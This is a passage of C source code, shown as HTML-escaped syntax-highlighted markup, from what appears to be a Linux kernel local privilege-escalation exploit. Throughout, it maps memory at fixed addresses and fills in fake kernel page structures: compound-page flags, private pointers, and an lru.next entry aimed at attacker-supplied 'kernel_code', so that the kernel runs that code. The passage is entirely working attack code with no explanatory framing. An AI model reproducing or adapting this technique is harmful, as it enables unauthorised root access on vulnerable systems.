&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; + &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_size = PAGE_SIZE;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_addr = mmap&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;, map_size, PROT_READ | PROT_WRITE,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;-1&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr == MAP_FAILED&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;mmap&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; memset&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;, map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; mmap: 0x%lx .. 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, map_addr, map_addr + map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; page: 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; page: 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;flags &#x26;nbsp; &#x26;nbsp;= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E; &#x26;lt;&#x26;lt; PG_compound;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;private &#x26;nbsp;= &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;count &#x26;nbsp; &#x26;nbsp;= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;lru.&#x3C;span style=&#x22;color: #202020;&#x22;&#x3E;next&#x3C;/span&#x3E; = &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; kernel_code;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*****/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; **&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;3&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; + &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_size = PAGE_SIZE;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_addr = mmap&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;, map_size, PROT_READ | PROT_WRITE,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;-1&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr == MAP_FAILED&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;mmap&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; memset&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;, map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; mmap: 0x%lx .. 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, map_addr, map_addr + map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; page: 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;printf&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;&#x26;#91;+&#x26;#93; page: 0x%lx&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\n&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;, pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;3&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;flags &#x26;nbsp; &#x26;nbsp;= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E; &#x26;lt;&#x26;lt; PG_compound;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;private &#x26;nbsp;= &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;count &#x26;nbsp; &#x26;nbsp;= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;3&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;-&#x26;gt;lru.&#x3C;span style=&#x22;color: #202020;&#x22;&#x3E;next&#x3C;/span&#x3E; = &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; kernel_code;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #808080; font-style: italic;&#x22;&#x3E;/*****/&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;4&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; **&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x26;amp;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;2&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;PAGE_SIZE,&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_size = PAGE_SIZE;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; map_addr = mmap&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;pages&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;4&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E;, map_size, PROT_READ | PROT_WRITE,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;-1&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr == MAP_FAILED&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; die&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;mmap&#x26;quot;&#x3C;/span&#x3E;, errno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; memset&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;map_addr, &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;, map_size&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
